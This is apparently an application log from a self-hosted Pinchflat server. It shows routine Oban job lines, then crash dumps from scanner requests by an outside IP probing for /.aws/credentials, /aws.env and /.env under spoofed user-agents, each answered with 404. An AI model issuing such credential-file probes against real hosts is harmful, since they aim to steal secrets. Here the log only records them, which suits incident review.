{"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:49.202 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.924 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:19.203 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:49.204 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.925 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:19.205 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:49.206 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.926 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:19.207 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:49.208 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.927 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:19.209 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:49.210 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.929 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:19.211 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:49.212 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.930 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:19.214 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:49.216 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.930 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:19.217 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:49.218 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.932 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:19.221 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:49.222 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.932 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:19.223 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:49.225 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.933 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:19.226 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:49.228 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.935 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:19.229 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:49.230 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.936 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:19.232 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:49.233 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.937 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:19.235 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:49.236 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.938 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:19.237 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:49.239 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.939 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:19.241 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:49.243 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.940 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:19.246 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:49.248 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.941 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:19.250 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:49.251 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.941 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:19.252 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:49.254 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.942 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:19.255 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:49.258 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.943 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:19.259 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:49.262 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:53.153 [info] GET /.aws/credentials 09:36:53.154 [debug] QUERY OK source="settings" db=0.4ms idle=423.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.154 [debug] QUERY OK source="settings" db=0.1ms idle=423.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.155 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 09:36:53.155 [error] #PID<0.4008.0> running PinchflatWeb.Endpoint (connection #PID<0.4007.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4008.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SXyPKMoAi5wAAXXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4008.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x (truncated) 09:36:53.167 [info] GET /aws.env 09:36:53.168 [debug] QUERY OK source="settings" db=0.3ms idle=436.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.168 [debug] QUERY OK source="settings" db=0.1ms idle=437.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 09:36:53.169 [error] #PID<0.4009.0> running PinchflatWeb.Endpoint (connection #PID<0.4007.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /aws.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4009.0>, params: %{}, path_info: ["aws"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SX1bPuPAiv4AAXYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4009.0>, params: %{}, path_info: ["aws"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-r (truncated) 09:36:53.172 [info] GET /.env 09:36:53.172 [debug] QUERY OK source="settings" db=0.3ms idle=209.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.173 [debug] QUERY OK source="settings" db=0.3ms idle=18.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.173 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 09:36:53.173 [error] #PID<0.4010.0> running PinchflatWeb.Endpoint (connection #PID<0.4007.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4010.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SX2mnjGJrY0AAXZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4010.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, 